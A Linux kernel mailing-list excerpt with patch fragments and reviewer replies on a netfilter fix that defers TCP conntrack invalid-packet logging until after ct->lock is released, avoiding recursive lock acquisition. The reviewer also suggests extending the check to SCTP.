 	case NFCT_TCP_IGNORE:
 		spin_unlock_bh(&ct->lock);
+		nf_tcp_log_invalid(skb, ct, state, &log);
 		return NF_ACCEPT;
 	case NFCT_TCP_INVALID:
 		lowered_timeout = nf_tcp_handle_invalid(ct, dir, index);
 		spin_unlock_bh(&ct->lock);
+		nf_tcp_log_invalid(skb, ct, state, &log);
 		if (lowered_timeout)
 			nf_ct_l4proto_log_invalid(skb, ct, state, "lowered timeout to UNACK");
 		return -NF_ACCEPT;
-- 
2.43.0

Re: [PATCH nf v2 1/2] netfilter: nf_conntrack_tcp: defer timeout-lowering invalid log until after unlock

[Florian Westphal]

Zihan Xi <zihanx@nebusec.ai> wrote:
> nf_tcp_handle_invalid() can lower the timeout of an assured TCP
> conntrack when an out-of-window FIN/RST is answered from the other
> direction.  Today it also logs that event while ct->lock is still held.
> 
> If invalid logging is routed to nfnetlink_log and conntrack export is
> enabled, the log path can re-enter conntrack netlink glue and recurse
> into tcp_to_nlattr() on the same conntrack.  Move this timeout-lowering
> log emission out from under ct->lock by making nf_tcp_handle_invalid()
> return whether logging is needed, then emit the message after unlocking.
> 
> Keep the timeout update unchanged and simplify the log text so this path
> does not need to stash extra state while the lock is held.

Reviewed-by: Florian Westphal <fw@strlen.de>

But consider following up on nf_conntrack_proto_sctp.c.

Re: [PATCH nf v2 2/2] netfilter: nf_conntrack_tcp: defer tcp_in_window invalid logging until after unlock

[Florian Westphal]

Zihan Xi <zihanx@nebusec.ai> wrote:
> tcp_in_window() can emit several invalid-packet logs while ct->lock is
> still held.  If invalid logging is routed to nfnetlink_log with
> conntrack export enabled, this can re-enter conntrack netlink glue and
> recurse into tcp_to_nlattr() on the same conntrack.
> 
> Fix this by storing only the minimal invalid-log context for the
> remaining tcp_in_window() cases and emitting the actual log after
> releasing ct->lock.  Rename the helper to reflect that it now records
> context instead of logging immediately, and add an explicit lockdep
> assertion plus comment to document that invalid TCP logs must not be
> emitted while ct->lock is held.
> 
> Fixes: d48668052b26 ("netfilter: fix nf_l4proto_log_invalid to log invalid packets")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: Codex:gpt-5.4
> Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
> ---
> changes in v2:
>   - Keep only the tcp_in_window() invalid logging cases in this patch.
>   - Rename the helper to reflect that it stores invalid-log context.
>   - Add a lockdep assertion and comment documenting that invalid logs must not be emitted under ct->lock.
>   - v1 Link: https://lore.kernel.org/all/cover.1785307980.git.zihanx@nebusec.ai/
> ---
>  net/netfilter/nf_conntrack_proto_tcp.c | 113 ++++++++++++++++++-------
>  1 file changed, 82 insertions(+), 31 deletions(-)
> 
> diff --git a/net/netfilter/nf_conntrack_proto_tcp.c b/net/netfilter/nf_conntrack_proto_tcp.c
> index ef31dcaffd19..e5875b7528fe 100644
> --- a/net/netfilter/nf_conntrack_proto_tcp.c
> +++ b/net/netfilter/nf_conntrack_proto_tcp.c
> @@ -480,37 +480,87 @@ static void tcp_init_sender(struct ip_ct_tcp_state *sender,
>  	}
>  }
>  
> -__printf(6, 7)
> -static enum nf_ct_tcp_action nf_tcp_log_invalid(const struct sk_buff *skb,
> -						const struct nf_conn *ct,
> -						const struct nf_hook_state *state,
> -						const struct ip_ct_tcp_state *sender,
> -						enum nf_ct_tcp_action ret,
> -						const char *fmt, ...)
> +enum nf_tcp_invalid_log_type {
> +	NF_TCP_LOG_NONE,
> +	NF_TCP_LOG_OVERSHOT,
> +	NF_TCP_LOG_SEQ_OVER,
> +	NF_TCP_LOG_ACK_OVER,
> +	NF_TCP_LOG_SEQ_UNDER,
> +	NF_TCP_LOG_ACK_UNDER,
> +};
> +
> +struct nf_tcp_invalid_log {
> +	enum nf_tcp_invalid_log_type type;
> +	u32 value;
> +};
> +
> +static enum nf_ct_tcp_action
> +nf_tcp_store_invalid(const struct nf_conn *ct,
> +		     const struct ip_ct_tcp_state *sender,
> +		     struct nf_tcp_invalid_log *log,
> +		     enum nf_ct_tcp_action ret,
> +		     enum nf_tcp_invalid_log_type type,
> +		     u32 value)
>  {
>  	const struct nf_tcp_net *tn = nf_tcp_pernet(nf_ct_net(ct));
> -	struct va_format vaf;
> -	va_list args;
>  	bool be_liberal;
>  
>  	be_liberal = sender->flags & IP_CT_TCP_FLAG_BE_LIBERAL || tn->tcp_be_liberal;
>  	if (be_liberal)
>  		return NFCT_TCP_ACCEPT;
>  
> -	va_start(args, fmt);
> -	vaf.fmt = fmt;
> -	vaf.va = &args;
> -	nf_ct_l4proto_log_invalid(skb, ct, state, "%pV", &vaf);
> -	va_end(args);
> -
> +	log->type = type;
> +	log->value = value;
>  	return ret;
>  }
>  
> +static void nf_tcp_log_invalid(const struct sk_buff *skb,
> +			       const struct nf_conn *ct,
> +			       const struct nf_hook_state *state,
> +			       const struct nf_tcp_invalid_log *log)
> +{
> +	/* nfnetlink_log may re-enter conntrack attribute dumping and try to
> +	 * take ct->lock again via tcp_to_nlattr(), so invalid TCP logs must
> +	 * only be emitted after dropping ct->lock.
> +	 */
> +	lockdep_assert_not_held(&ct->lock);
> +
> +	switch (log->type) {
> +	case NF_TCP_LOG_OVERSHOT:
> +		nf_ct_l4proto_log_invalid(skb, ct, state,
> +					  "%u bytes more than expected",
> +					  log->value);

Can you move the comment and the lockdep assert into
nf_ct_l4proto_log_invalid() so we can catch offenders outside
tcp as well?

SCTP seems to be buggy as well.

Other than that:

Reviewed-by: Florian Westphal <fw@strlen.de>

You can keep this tag in next iteration.